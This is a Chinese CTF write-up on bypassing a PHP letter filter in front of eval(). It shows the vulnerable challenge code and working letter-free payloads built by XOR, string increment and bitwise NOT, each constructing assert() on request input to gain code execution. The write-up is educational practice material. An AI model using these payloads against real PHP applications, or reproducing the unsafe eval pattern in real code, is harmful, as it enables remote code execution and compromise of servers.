老早以前遇到过无字母rce,但是现在忘记得差不多了。现在以这道题来回温一下rce的解决方法。
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
这道题只过滤了字母,算是一道简单的rce了。
1.异或^
如果学过计算机组成原理的小伙伴可能对这个就不陌生了。异或的规则是相同则为0,不同则为1。1^1=0,1^0=1,0^0=0,0^1=1
。这里的异或是指的php的按位异或,在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符,将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E
,E对应的ASCII码值为01000101
,我选择了>
和{
进行异或得到E。
这个选法不是固定的,只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下:
a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]); //assert($_GET[6])
把上面的构造放一排就可以了。
在环境变量里找到了flag。
2.自增++
在php中,在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。并且字符变量只能递增不能递减,并且只支持字母数字的ASCII的自增,对其他字符自增无效。简单来说,就是我们可以通过自增来获取我们想要的字母。即‘a++'-->'b';'b'++-->'c';'A'++-->'B'
。
而php还有一个特性,字符串和数组拼接会返回Array。这样我们就获取到了字母。
这里我就直接放p神的构造结果了。构造太多了,如果遇到长度限制的话可能就不行了。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
直接把上面的构造放到一排然后urlencode一下。运行结果:
3.取反
不知道取反运算的伙伴,可以看看这篇文章:取反运算
我们想要构造的任然是在这里插入图片描述
assert($_GET[6])
这样的语句。因此我们对他们进行取反。
得到assert和_GET取反的结果。开始构造:
$_=~(%9E%8C%8C%9A%8D%8B); #相当于$_=assert
$_1=~(%A0%B8%BA%AB); #$_1=_GET
$_2=$$_1;
$_($_2[6]);
//排成一排
$_=~(%9E%8C%8C%9A%8D%8B);$_1=~(%A0%B8%BA%AB);$_2=$$_1;$_($_2[6]);
运行结果: